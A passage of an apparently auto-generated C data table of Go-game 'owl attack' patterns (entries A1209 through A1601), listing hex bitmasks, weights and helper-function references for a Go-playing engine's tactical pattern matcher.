"A1209",0,-1,1,2,1,3,0x2,0,2, { 0x00ffff00, 0xf0f0f0f0, 0xfcfc0000, 0x3c3c3c00, 0xf0f0f000, 0xffff0000, 0x3c3c3c3c, 0x00fcfc00}, { 0x00681000, 0x10602000, 0x10a40000, 0x20241000, 0x20601000, 0x10680000, 0x10242000, 0x00a41000} , 0x1000000,65.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat225,3,0.010000}, {owl_attackpat226,32,8, "A1301",-2,-2,3,3,5,5,0xa,2,1, { 0xeaffffff, 0xfffaf8f8, 0xffffaf2f, 0xbfbfffff, 0xf8faffff, 0xffffeae0, 0xffbfbfbf, 0xafffffff}, { 0x4094a000, 0xa4901000, 0x28580400, 0x10186800, 0x1090a400, 0xa0944000, 0x68181000, 0x04582800} , 0x1000000,90.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat226,0,0.010000}, {owl_attackpat227,11,8, "A1302",-1,-2,1,1,2,3,0xa,0,-1, { 0xf0fcfc00, 0xfcfcf000, 0xffff3f00, 0x3cfcfcfc, 0xf0fcfcfc, 0xfcfcf000, 0xfcfc3c00, 0x3fffff00}, { 0x20240000, 0x00281000, 0x00602000, 0x10a00000, 0x10280000, 0x00242000, 0x00a01000, 0x20600000} , 0x1000010,30.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat228,10,8, "A1303",-1,-2,1,1,2,3,0xa,1,-1, { 0xf0f8f000, 0xfcfc2000, 0x3fbf3f00, 0x20fcfcfc, 0x20fcfcfc, 0xf0f8f000, 0xfcfc2000, 0x3fbf3f00}, { 0x20200000, 0x00280000, 0x00222000, 0x00a00020, 0x00280020, 0x00202000, 0x00a00000, 0x20220000} , 0x1000010,90.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat229,10,8, "A1303b",-1,-2,1,1,2,3,0xa,0,-1, { 0xf0fcf000, 0xfcfc3000, 0x3fff3f00, 0x30fcfcfc, 0x30fcfcfc, 0xf0fcf000, 0xfcfc3000, 0x3fff3f00}, { 0x20246000, 0x40a81000, 0x24622000, 0x10a80420, 0x10a84020, 0x60242000, 0x04a81000, 0x20622400} , 0x1000010,50.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat230,6,8, "A1304",0,-1,1,1,1,2,0xa,1,0, { 0x00fcfc00, 0xf0f0f000, 0xfcfc0000, 0x3c3c3c00, 0xf0f0f000, 0xfcfc0000, 0x3c3c3c00, 0x00fcfc00}, { 0x00240800, 0x00209000, 0x80600000, 0x18200000, 0x90200000, 0x08240000, 0x00201800, 0x00608000} , 0x1000010,60.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat230,3,0.016000}, {owl_attackpat231,11,8, "A1305",0,-1,2,2,2,3,0xa,1,0, { 0x00fcffff, 0xf0f0f0c0, 0xfcfc0000, 0x3f3f3f00, 0xf0f0f000, 0xfffc0000, 0x3f3f3f0f, 0x00fcfcfc}, { 0x00a80202, 0x20202080, 0x00a80000, 0x20202000, 0x20202000, 0x02a80000, 0x2020200a, 0x00a80000} , 0x1000010,90.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat232,11,8, "A1305b",0,-1,2,2,2,3,0xa,1,0, { 0x00fcffff, 0xf0f0f0c0, 0xfcfc0000, 0x3f3f3f00, 0xf0f0f000, 0xfffc0000, 0x3f3f3f0f, 0x00fcfcfc}, { 0x00a00202, 0x20200080, 0x00280000, 0x00202000, 0x00202000, 0x02a00000, 0x2020000a, 0x00280000} , 0x1000010,35.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat233,11,8, "A1306",0,-1,2,2,2,3,0xa,2,0, { 0x00fcffff, 0xf0f0f0c0, 0xfcfc0000, 0x3f3f3f00, 0xf0f0f000, 0xfffc0000, 0x3f3f3f0f, 0x00fcfcfc}, { 0x00a80202, 0x20202080, 0x00a80000, 0x20202000, 0x20202000, 0x02a80000, 0x2020200a, 0x00a80000} , 0x1000010,85.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat234,11,8, "A1307",-1,-1,1,2,2,3,0xa,1,1, { 0xdcffff00, 0xfcf4fcf0, 0xfcfcdc00, 0xfc7cfc00, 0xfcf4fc00, 0xffffdc00, 0xfc7cfc3c, 0xdcfcfc00}, { 0x88221200, 0x086008a0, 0x10208800, 0x80248000, 0x08600800, 0x12228800, 0x80248028, 0x88201000} , 0x1000010,85.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat235,10,8, "A1308",-1,-1,1,2,2,3,0xa,1,0, { 0xd0fdff00, 0xfcf4f0d0, 0xfcfc1c00, 0x3c7cfc00, 0xf0f4fc00, 0xfffdd000, 0xfc7c3c1c, 0x1cfcfc00}, { 0x80280200, 0x08202080, 0x00a00800, 0x20208000, 0x20200800, 0x02288000, 0x80202008, 0x08a00000} , 0x1000010,90.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat236,8,8, "A1309",0,-1,1,2,1,3,0xa,1,0, { 0x00f7fd00, 0xf0f0d070, 0xfc7c0000, 0x1c3c3c00, 0xd0f0f000, 0xfdf70000, 0x3c3c1c34, 0x007cfc00}, { 0x00220400, 0x00204020, 0x40200000, 0x04200000, 0x40200000, 0x04220000, 0x00200420, 0x00204000} , 0x1000010,90.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat236,3,0.016000}, {owl_attackpat237,8,8, "A1310",0,-1,1,2,1,3,0xa,0,-1, { 0x00fffd00, 0xf0f0f070, 0xfcfc0000, 0x3c3c3c00, 0xf0f0f000, 0xfdff0000, 0x3c3c3c34, 0x00fcfc00}, { 0x00221400, 0x00604020, 0x50200000, 0x04240000, 0x40600000, 0x14220000, 0x00240420, 0x00205000} , 0x1000010,30.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat238,11,8, "A1310b",-1,-1,1,2,2,3,0xa,1,-1, { 0xdcffff00, 0xfcf4fcf0, 0xfcfcdc00, 0xfc7cfc00, 0xfcf4fc00, 0xffffdc00, 0xfc7cfc3c, 0xdcfcfc00}, { 0x88221600, 0x086048a0, 0x50208800, 0x84248000, 0x48600800, 0x16228800, 0x80248428, 0x88205000} , 0x1000010,31.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat239,11,8, "A1311",-1,-1,1,2,2,3,0xa,1,1, { 0xfcffff00, 0xfcfcfcf0, 0xfcfcfc00, 0xfcfcfc00, 0xfcfcfc00, 0xfffffc00, 0xfcfcfc3c, 0xfcfcfc00}, { 0x28920000, 0x20180820, 0x0018a000, 0x80902000, 0x08182000, 0x00922800, 0x20908020, 0xa0180000} , 0x1000010,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,0,0.000000}, {owl_attackpat240,13,8, "A1312",-1,-1,2,2,3,3,0xa,1,0, { 0xf0fcfffd, 0xfcfcf0c0, 0xfcfc3c00, 0x3fffff00, 0xf0fcfc00, 0xfffcf000, 0xffff3f0d, 0x3cfcfcfc}, { 0x60280200, 0x04282080, 0x00a02400, 0x20a04000, 0x20280400, 0x02286000, 0x40a02008, 0x24a00000} , 0x1000010,35.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat241,22,8, "A1313",-1,-2,2,3,3,5,0xa,1,1, { 0x0e7effff, 0xd0f0fce8, 0xfff7c300, 0xff3f1fff, 0xfcf0d0fc, 0xff7e0e00, 0x1f3fffaf, 0xc3f7ffff}, { 0x04200000, 0x00200400, 0x00204000, 0x40200000, 0x04200000, 0x00200400, 0x00204000, 0x40200000} , 0x1000000,50.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat242,11,8, "A1314",-1,-2,1,1,2,3,0xa,1,-1, { 0xf0fcf800, 0xfcfcb000, 0xbfff3d00, 0x38fcfc7c, 0xb0fcfcf4, 0xf8fcf000, 0xfcfc3800, 0x3dffbf00}, { 0x20240000, 0x00281000, 0x00602000, 0x10a00000, 0x10280000, 0x00242000, 0x00a01000, 0x20600000} , 0x1000010,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat243,14,8, "A1315",-2,-1,1,2,3,3,0xa,0,1, { 0xfcffff00, 0xfffffff0, 0xfcfcfcfc, 0xfcfcfc00, 0xffffff00, 0xfffffcfc, 0xfcfcfc3c, 0xfcfcfc00}, { 0x08210000, 0x00220910, 0x00208060, 0x80200000, 0x09220000, 0x00210824, 0x00208010, 0x80200000} , 0x1000000,55.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat244,11,8, "A1316",0,-1,2,2,2,3,0xa,1,0, { 0x00fcffff, 0xf0f0f0c0, 0xfcfc0000, 0x3f3f3f00, 0xf0f0f000, 0xfffc0000, 0x3f3f3f0f, 0x00fcfcfc}, { 0x00280206, 0x00202080, 0x00a00000, 0x21200000, 0x20200000, 0x02280000, 0x0020210a, 0x00a00040} , 0x1000010,35.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat245,11,8, "A1317",-1,-1,1,2,2,3,0xa,1,0, { 0xfcffff00, 0xfcfcfcf0, 0xfcfcfc00, 0xfcfcfc00, 0xfcfcfc00, 0xfffffc00, 0xfcfcfc3c, 0xfcfcfc00}, { 0x08290100, 0x00202850, 0x00a08000, 0xa0200000, 0x28200000, 0x01290800, 0x0020a014, 0x80a00000} , 0x1000010,55.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat245,3,0.610000}, {owl_attackpat246,11,8, "A1318",-1,-1,1,2,2,3,0xa,0,-1, { 0xfcffff00, 0xfcfcfcf0, 0xfcfcfc00, 0xfcfcfc00, 0xfcfcfc00, 0xfffffc00, 0xfcfcfc3c, 0xfcfcfc00}, { 0x08291900, 0x0060a850, 0x90a08000, 0xa8240000, 0xa8600000, 0x19290800, 0x0024a814, 0x80a09000} , 0x1000010,55.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat246,3,0.610000}, {owl_attackpat247,14,8, "A1319",-1,-2,2,1,3,3,0xa,0,-2, { 0xf0f0f4fc, 0xfcfc4000, 0x7f3f3f00, 0x07ffffff, 0x40fcfcfc, 0xf4f0f000, 0xffff0700, 0x3f3f7fff}, { 0x90202000, 0x08a40000, 0x20201800, 0x00688000, 0x00a40800, 0x20209000, 0x80680000, 0x18202000} , 0x1000010,61.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat247,3,1.000000}, {owl_attackpat248,12,8, "A1319b",-1,0,2,2,3,2,0xa,1,0, { 0x3f3f3f3f, 0x00fcfcfc, 0xf0f0f000, 0xffff0000, 0xfcfc0000, 0x3f3f3f00, 0x00ffffff, 0xf0f0f0f0}, { 0x09120200, 0x001008a4, 0x00108000, 0x80100000, 0x08100000, 0x02120900, 0x00108068, 0x80100000} , 0x1000010,30.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,0,0.000000}, {owl_attackpat249,14,8, "A1319c",-1,-2,2,1,3,3,0xa,1,-1, { 0xf0f0f4fc, 0xfcfc4000, 0x7f3f3f00, 0x07ffffff, 0x40fcfcfc, 0xf4f0f000, 0xffff0700, 0x3f3f7fff}, { 0x90202000, 0x08a40000, 0x22211800, 0x00688018, 0x00a40890, 0x20209000, 0x80680000, 0x18212200} , 0x1000010,61.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat249,3,1.000000}, {owl_attackpat250,7,8, "A1320",-1,-1,1,1,2,2,0xa,1,-1, { 0xc0fcfc00, 0xfcf0f000, 0xfcfc0c00, 0x3c3cfc00, 0xf0f0fc00, 0xfcfcc000, 0xfc3c3c00, 0x0cfcfc00}, { 0x80681000, 0x18602000, 0x10a40800, 0x20249000, 0x20601800, 0x10688000, 0x90242000, 0x08a41000} , 0x1000010,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat251,7,8, "A1321",-1,-1,1,1,2,2,0xa,1,-1, { 0xc0fcfc00, 0xfcf0f000, 0xfcfc0c00, 0x3c3cfc00, 0xf0f0fc00, 0xfcfcc000, 0xfc3c3c00, 0x0cfcfc00}, { 0x80281000, 0x08602000, 0x10a00800, 0x20248000, 0x20600800, 0x10288000, 0x80242000, 0x08a01000} , 0x1000010,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat252,9,8, "A1322",-1,-2,1,0,2,2,0xa,1,-1, { 0xf0f0f000, 0xfcfc0000, 0x3f3f3f00, 0x00fcfcfc, 0x00fcfcfc, 0xf0f0f000, 0xfcfc0000, 0x3f3f3f00}, { 0x20200000, 0x00280000, 0x00202200, 0x00a00080, 0x00280008, 0x00202000, 0x00a00000, 0x22200000} , 0x1000010,40.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat253,12,8, "A1323",0,-1,3,1,3,2,0xa,2,-1, { 0x00fcfcfc, 0xf0f0f000, 0xfcfc0000, 0x3f3f3f00, 0xf0f0f000, 0xfcfc0000, 0x3f3f3f00, 0x00fcfcfc}, { 0x00a40808, 0x20209000, 0x80680000, 0x1a202000, 0x90202000, 0x08a40000, 0x20201a00, 0x00688080} , 0x1000010,50.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat254,27,8, "A1324",-3,-2,2,2,5,4,0xa,0,1, { 0xffffffff, 0xffffffff, 0xffffffff, 0xffffffff, 0xffffffff, 0xffffffff, 0xffffffff, 0xffffffff}, { 0x04200000, 0x00210400, 0x00204010, 0x40200000, 0x04210000, 0x00200410, 0x00204000, 0x40200000} , 0x1000000,90.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat255,15,8, "A1325",-1,-1,2,2,3,3,0x6,0,1, { 0xffffff3f, 0xfcfcfcfc, 0xfcfcfc00, 0xfffffc00, 0xfcfcfc00, 0xffffff00, 0xfcffffff, 0xfcfcfcf0}, { 0x54208820, 0x84248400, 0x88205400, 0x48624800, 0x84248400, 0x88205400, 0x48624800, 0x54208820} , 0x1000000,50.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat256,22,8, "A1326",-2,-2,2,2,4,4,0x9,-1,2, { 0xffffff80, 0xffffffff, 0xffffffff, 0xfcfcfefe, 0xffffffff, 0xffffffff, 0xfefcfcfc, 0xffffff0a}, { 0x08211400, 0x00604810, 0x50208000, 0x84240000, 0x48600000, 0x14210800, 0x00248410, 0x80205000} , 0x1000000,85.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat257,24,8, "A1327",-2,-2,3,2,5,4,0x9,-1,-1, { 0xffffff80, 0xffffffff, 0xffffffff, 0xfcfcfefe, 0xffffffff, 0xffffffff, 0xfefcfcfc, 0xffffff0a}, { 0x09219400, 0x80604814, 0x58208000, 0x84240800, 0x48608000, 0x94210900, 0x08248450, 0x80205800} , 0x1000010,85.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat258,13,8, "A1328",-1,-2,2,1,3,3,0xa,1,-1, { 0xc0b0ecd4, 0xecb0c000, 0xef390d00, 0x0d39ef5f, 0xc0b0ecd4, 0xecb0c000, 0xef390d00, 0x0d39ef5f}, { 0x80200800, 0x08208000, 0x80200800, 0x08208000, 0x80200800, 0x08208000, 0x80200800, 0x08208000} , 0x1000010,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat259,9,8, "A1329",-1,-1,2,1,3,2,0xa,1,-1, { 0xc0f0f4e4, 0xfcf04000, 0x7c3c0c00, 0x053eff00, 0x40f0fc00, 0xf4f0c000, 0xff3e0500, 0x0c3c7c6c}, { 0x80601040, 0x18600000, 0x10240800, 0x00249100, 0x00601800, 0x10608000, 0x91240000, 0x08241004} , 0x1000010,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat260,11,8, "A1330",-1,-1,2,1,3,2,0xa,0,-1, { 0xf0fcfcec, 0xfcfcf000, 0xfcfc3c00, 0x3ffeff00, 0xf0fcfc00, 0xfcfcf000, 0xfffe3f00, 0x3cfcfcec}, { 0xa0289844, 0x8868a000, 0x98a02800, 0x29a48900, 0xa0688800, 0x9828a000, 0x89a42900, 0x28a09844} , 0x1000010,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat260,3,0.610000}, {owl_attackpat261,8,8, "A1331",-1,-1,1,1,2,2,0xa,-1,-1, { 0xf0fcfc00, 0xfcfcf000, 0xfcfc3c00, 0x3cfcfc00, 0xf0fcfc00, 0xfcfcf000, 0xfcfc3c00, 0x3cfcfc00}, { 0x20984400, 0x60186000, 0x44982000, 0x24902400, 0x60186000, 0x44982000, 0x24902400, 0x20984400} , 0x1000010,55.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat261,0,1.000000}, {owl_attackpat262,11,8, "A1332",0,-1,2,2,2,3,0xa,1,1, { 0x0074fffd, 0xd0f0d0c0, 0xfc740000, 0x1f3f1f00, 0xd0f0d000, 0xff740000, 0x1f3f1f0d, 0x0074fcfc}, { 0x00204220, 0x40200080, 0x04200000, 0x00220400, 0x00204000, 0x42200000, 0x04220008, 0x00200420} , 0x1000010,55.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat262,3,1.000000}, {owl_attackpat263,15,8, "A1333",-2,-1,1,2,3,3,0xa,-1,0, { 0xffffff00, 0xfffffffc, 0xfcfcfcfc, 0xfcfcfc00, 0xffffff00, 0xfffffffc, 0xfcfcfcfc, 0xfcfcfc00}, { 0x02960200, 0x221212a8, 0x005800a8, 0x10102000, 0x12122200, 0x029602a8, 0x201010a8, 0x00580000} , 0x1000010,55.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat263,0,0.016000}, {owl_attackpat264,15,8, "A1334",-1,-1,2,2,3,3,0xa,2,1, { 0xfcffffff, 0xfcfcfcf0, 0xfcfcfc00, 0xffffff00, 0xfcfcfc00, 0xfffffc00, 0xffffff3f, 0xfcfcfcfc}, { 0xa8929602, 0xa85848a0, 0x5818a800, 0x8494a800, 0x4858a800, 0x9692a800, 0xa894842a, 0xa8185800} , 0x1000010,55.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,0,0.000000}, {owl_attackpat265,11,8, "A1335",-1,-2,1,1,2,3,0xa,0,-2, { 0xf0fcfc00, 0xfcfcf000, 0xffff3f00, 0x3cfcfcfc, 0xf0fcfcfc, 0xfcfcf000, 0xfcfc3c00, 0x3fffff00}, { 0x20249400, 0x80685000, 0x58602000, 0x14a40800, 0x50688000, 0x94242000, 0x08a41400, 0x20605800} , 0x1000010,41.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat265,3,1.600000}, {owl_attackpat266,11,8, "A1335b",-1,-1,1,2,2,3,0xa,0,-1, { 0xfcffff00, 0xfcfcfcf0, 0xfcfcfc00, 0xfcfcfc00, 0xfcfcfc00, 0xfffffc00, 0xfcfcfc3c, 0xfcfcfc00}, { 0x08192100, 0x00902850, 0x20908000, 0xa0180000, 0x28900000, 0x21190800, 0x0018a014, 0x80902000} , 0x1000010,41.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat266,0,1.600000}, {owl_attackpat267,12,8, "A1336",0,-1,2,2,2,3,0xa,2,-1, { 0x00ffffff, 0xf0f0f0f0, 0xfcfc0000, 0x3f3f3f00, 0xf0f0f000, 0xffff0000, 0x3f3f3f3f, 0x00fcfcfc}, { 0x00a90224, 0x20202090, 0x00a80000, 0x21222000, 0x20202000, 0x02a90000, 0x20222118, 0x00a80060} , 0x1000010,35.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat267,3,1.600000}, {owl_attackpat268,15,8, "A1337",-1,-1,2,2,3,3,0xa,2,0, { 0xf4fdfffb, 0xfcfcf4d0, 0xfcfc7c00, 0x7effff00, 0xf4fcfc00, 0xfffdf400, 0xffff7e1f, 0x7cfcfcbc}, { 0xa0189602, 0x88586080, 0x58902800, 0x24948800, 0x60588800, 0x9618a000, 0x8894240a, 0x28905800} , 0x1000010,35.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,0,0.000000}, {owl_attackpat269,15,8, "A1338",-2,0,2,2,4,2,0xa,2,0, { 0x3f3f3d3f, 0x00ffff7e, 0xf0f0f0f0, 0xffff0000, 0xffff0000, 0x3d3f3f3e, 0x00fffff7, 0xf0f0f0f0}, { 0x19220806, 0x00258924, 0x80209050, 0x89600000, 0x89250000, 0x08221914, 0x00608962, 0x90208040} , 0x1000010,35.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat270,9,8, "A1339",-1,0,1,2,2,2,0xa,1,1, { 0x1d3f3d00, 0x00f4fc74, 0xf0f0d000, 0xfc7c0000, 0xfcf40000, 0x3d3f1d00, 0x007cfc74, 0xd0f0f000}, { 0x08220000, 0x00200820, 0x00208000, 0x80200000, 0x08200000, 0x00220800, 0x00208020, 0x80200000} , 0x1000010,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat271,11,8, "A1340",-1,-1,1,2,2,3,0xa,1,0, { 0xfcfdff00, 0xfcfcfcd0, 0xfcfcfc00, 0xfcfcfc00, 0xfcfcfc00, 0xfffdfc00, 0xfcfcfc1c, 0xfcfcfc00}, { 0x88180200, 0x08102880, 0x00908800, 0xa0108000, 0x28100800, 0x02188800, 0x8010a008, 0x88900000} , 0x1000010,40.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,0,0.000000}, {owl_attackpat272,13,8, "A1341",-2,0,2,2,4,2,0x6,1,2, { 0x3f3f3f3f, 0x00fcfffc, 0xf0f0f0c0, 0xffff0000, 0xfffc0000, 0x3f3f3f0c, 0x00ffffff, 0xf0f0f0f0}, { 0x22202000, 0x00a80208, 0x20202080, 0x00a80000, 0x02a80000, 0x20202208, 0x00a80080, 0x20202000} , 0x1000010,40.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat273,14,8, "A1342",-2,-2,2,0,4,2,0x8,0,-2, { 0xf0f0f0c0, 0xffff0000, 0x3f3f3f3f, 0x00fcffff, 0x00ffffff, 0xf0f0f0f0, 0xfffc0000, 0x3f3f3f0f}, { 0x2020a040, 0x82a90000, 0x28202018, 0x00a80900, 0x00a98200, 0xa0202090, 0x09a80000, 0x20202804} , 0x1000010,50.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat274,11,8, "A1343",-1,-2,1,1,2,3,0xa,1,-1, { 0x50fcf400, 0xf4f47000, 0x7fff1500, 0x347c7c7c, 0x70f4f4f4, 0xf4fc5000, 0x7c7c3400, 0x15ff7f00}, { 0x00280000, 0x00202000, 0x00a00000, 0x20200000, 0x20200000, 0x00280000, 0x00202000, 0x00a00000} , 0x1000010,46.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat275,7,8, "A1344",0,-1,1,2,1,3,0x2,1,1, { 0x00fcff00, 0xf0f0f0c0, 0xfcfc0000, 0x3c3c3c00, 0xf0f0f000, 0xfffc0000, 0x3c3c3c0c, 0x00fcfc00}, { 0x00a88100, 0xa0202040, 0x08a80000, 0x20202800, 0x2020a000, 0x81a80000, 0x28202004, 0x00a80800} , 0x1000010,46.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat276,12,8, "A1345",-1,-2,1,1,2,3,0xa,0,-1, { 0xfcfcfc00, 0xfcfcfc00, 0xffffff00, 0xfcfcfcfc, 0xfcfcfcfc, 0xfcfcfc00, 0xfcfcfc00, 0xffffff00}, { 0x84240400, 0x08205400, 0x40604800, 0x54208000, 0x54200800, 0x04248400, 0x80205400, 0x48604000} , 0x1000010,46.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat277,10,8, "A1346",-1,-1,1,2,2,3,0x6,1,1, { 0x0dfd7f00, 0x70f0fcd4, 0xf4fcc000, 0xfc3c3400, 0xfcf07000, 0x7ffd0d00, 0x343cfc5c, 0xc0fcf400}, { 0x08a00000, 0x20200800, 0x00288000, 0x80202000, 0x08202000, 0x00a00800, 0x20208000, 0x80280000} , 0x1000010,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat278,10,8, "A1347",-1,-2,2,0,3,2,0xa,1,-2, { 0x40f0f0c0, 0xf4f00000, 0x3f3f0500, 0x003c7f7f, 0x00f0f4f4, 0xf0f04000, 0x7f3c0000, 0x053f3f0f}, { 0x00202080, 0x00a00000, 0x20200000, 0x00280201, 0x00a00000, 0x20200000, 0x02280000, 0x00202009} , 0x1000010,35.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat279,11,8, "A1348",-2,-1,1,1,3,2,0xa,1,0, { 0xdcfcfc00, 0xfdf7fc00, 0xfcfcdc34, 0xfc7cfc00, 0xfcf7fd00, 0xfcfcdc70, 0xfc7cfc00, 0xdcfcfc00}, { 0x48688800, 0x9422a800, 0x88a48420, 0xa8205800, 0xa8229400, 0x88684820, 0x5820a800, 0x84a48800} , 0x1000010,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat279,3,0.376000}, {owl_attackpat280,16,8, "A1401",0,0,3,3,3,3,0x6,1,1, { 0x003f3f3f, 0x00f0f0f0, 0xf0f00000, 0x3f3f0000, 0xf0f00000, 0x3f3f0000, 0x003f3f3f, 0x00f0f0f0}, { 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000} , 0x1000000,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat281,20,8, "A1402",0,-2,3,2,3,4,0x6,1,-2, { 0x00ffffff, 0xf0f0f0f0, 0xffff0000, 0x3f3f3f3f, 0xf0f0f0f0, 0xffff0000, 0x3f3f3f3f, 0x00ffffff}, { 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000} , 0x1000000,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat282,3,8, "A1501",-1,0,0,1,1,1,0x0,0,1, { 0x0c3c0000, 0x00303c00, 0x00f0c000, 0xf0300000, 0x3c300000, 0x003c0c00, 0x0030f000, 0xc0f00000}, { 0x04200000, 0x00200400, 0x00204000, 0x40200000, 0x04200000, 0x00200400, 0x00204000, 0x40200000} , 0x1000000,35.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat282,3,0.058000}, {owl_attackpat283,3,4, "A1502",0,0,0,2,0,2,0x0,0,1, { 0x003f0000, 0x00303030, 0x00f00000, 0x30300000, 0x30300000, 0x003f0000, 0x00303030, 0x00f00000}, { 0x00210000, 0x00200010, 0x00200000, 0x00200000, 0x00200000, 0x00210000, 0x00200010, 0x00200000} , 0x1000000,35.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat283,3,0.058000}, {owl_attackpat284,9,8, "A1503",-2,-1,1,1,3,2,0x0,-1,0, { 0xfcfc3000, 0x3fff3c00, 0x30fcfc3c, 0xf0fcf000, 0x3cff3f00, 0x30fcfcf0, 0xf0fcf000, 0xfcfc3000}, { 0x88641000, 0x19621800, 0x10648824, 0x90249000, 0x18621900, 0x10648860, 0x90249000, 0x88641000} , 0x1000010,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat284,3,0.016000}, {owl_attackpat285,8,8, "A1601",-1,0,1,2,2,2,0x2,1,1, { 0x053f3f00, 0x00f0f4f4, 0xf0f04000, 0x7c3c0000, 0xf4f00000, 0x3f3f0500, 0x003c7c7c, 0x40f0f000}, { 0x00200200, 